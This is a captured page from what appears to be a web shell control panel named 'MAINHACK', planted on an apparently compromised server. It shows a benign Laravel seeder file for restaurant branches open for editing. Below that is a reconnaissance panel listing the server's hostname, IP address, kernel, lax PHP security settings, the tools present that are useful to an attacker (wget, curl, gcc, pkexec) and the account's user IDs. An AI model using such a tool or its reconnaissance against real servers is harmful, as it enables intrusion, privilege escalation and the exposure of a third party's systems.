[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: BranchTableSeeder.php
<?php namespace Database\Seeders; use Dipokhalder\EnvEditor\EnvEditor; use App\Enums\Status; use App\Models\Branch; use Illuminate\Database\Seeder; class BranchTableSeeder extends Seeder { /** * Run the database seeds. * * @return void */ public function run() { Branch::create([ 'name' => 'Mirpur-1 (main)', 'email' => 'mirpur@inilabs.xyz', 'phone' => '+536464646464', 'latitude' => 23.8042375, 'longitude' => 90.3525979, 'zone' => json_encode('[{"lat":23.804898425688478,"lng":90.34644025387266},{"lat":23.80898185164042,"lng":90.36085980953672},{"lat":23.7979091872033,"lng":90.36721128048399},{"lat":23.795239041774114,"lng":90.35854238094785},{"lat":23.79186662551694,"lng":90.35257944558866},{"lat":23.80081948198351,"lng":90.34502634500272}]'), 'city' => 'Mirpur-1', 'state' => 'Dhaka', 'zip_code' => '1216', 'address' => 'House : 25, Road No: 2, Block A, Mirpur-1, Dhaka 1216', 'status' => Status::ACTIVE, ]); $envService = new EnvEditor(); if ($envService->getValue('DEMO')) { Branch::create([ 'name' => 'Gulshan-1', 'email' => 'gulshan@inilabs.xyz', 'phone' => '+1243535366', 'latitude' => 23.7806612, 'longitude' => 90.40614, 'zone' => json_encode('[{"lat":23.785498859040572,"lng":90.41104035134859},{"lat":23.78706965718931,"lng":90.42666153665132},{"lat":23.77379581545051,"lng":90.4282064890439},{"lat":23.77348162526697,"lng":90.41043953652925},{"lat":23.781728866043498,"lng":90.40400223489351}]'), 'city' => 'Gulshan-1', 'state' => 'Dhaka', 'zip_code' => '1212', 'address' => '1st floor, Adam Building, House: 41 Road: 52, Dhaka 1212', 'status' => Status::ACTIVE, ]); } } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002